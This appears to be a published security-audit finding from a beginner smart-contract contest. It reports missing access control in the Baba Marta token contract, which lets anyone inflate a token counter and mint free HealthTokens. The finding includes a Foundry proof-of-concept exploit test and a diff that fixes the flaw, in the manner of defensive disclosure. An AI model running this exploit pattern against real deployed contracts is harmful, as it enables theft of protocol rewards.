First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of Access Control in `MartenitsaToken::updateCountMartenitsaTokensOwner` Allows Anyone to Get Free `HealthToken`s

pacelli

Summary

One of the invariants of the protocol is that users can only claim HealthToken if they own three different MartenisaTokens, but due to the lack of access control in MartenitsaToken::updateCountMartenitsaTokensOwner any user can call the function to increase their token counter, without actually owning any token, and then execute MartenitsaMarketplace::collectReward to get free rewards.

Vulnerability Details

Rewards can be minted for free by following the next steps:

  1. User calls three time MartenitsaToken::updateCountMartenitsaTokensOwner

  2. Now that the user's token counter is equal to 3, he calls MartenitsaMarketplace::collectReward

  3. Now the user owns 1 HealthToken

Proof of Concept

To verify the exploit, paste the following test in MartenitsaToken.t.sol:

PoC
function testSecurityReview__AnyoneCanGetHealthTokensForFree() public {
address randomUser = address(0xdeadbeef);
​
vm.startPrank(randomUser, randomUser);
martenitsaToken.updateCountMartenitsaTokensOwner(randomUser, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(randomUser, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(randomUser, "add");
​
// User increased token counter without owning them
assertEq(martenitsaToken.countMartenitsaTokensOwner(randomUser), 3);
​
// User claim rewards
marketplace.collectReward();
​
// User got free rewards
assertEq(healthToken.balanceOf(randomUser), 1e18);
vm.stopPrank();
}

Impact

Invariant of the protocol broken, HealthTokens can be minted for free

Tools Used

Manual review, Foundry

Recommendations

I recommend refactoring the external updateCountMartenitsaTokensOwner function into two new functions as such:

  • an external updateCountMartenitsaTokensOwner function to act as an exclusive entry point for MartenitsaMarketplace, because this is the only external contract that needs access to MartenitsaToken::countMartenitsaTokensOwner

  • an internal _updateCountMartenitsaTokensOwner function to be called in the context of MartenitsaToken when a new token is minted in MartenitsaToken::createMartenitsa

Check the following example on how to update MartenitsaToken:

Update MartenitsaToken::createMartenitsa:

function createMartenitsa(string memory design) external {
// rest of the function...
​
- countMartenitsaTokensOwner[msg.sender] += 1;
+ _updateCountMartenitsaTokensOwner(msg.sender, "add");
​
// rest of the function...
}

Create MartenitsaToken::updateCountMartenitsaTokensOwner:

+ function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ require(msg.sender == address(marketplace));
+ _updateCountMartenitsaTokensOwner(owner, operation);
+ }

Update MartenitsaToken::updateCountMartenitsaTokensOwner:

- function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ function _updateCountMartenitsaTokensOwner(address owner, string memory operation) internal {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.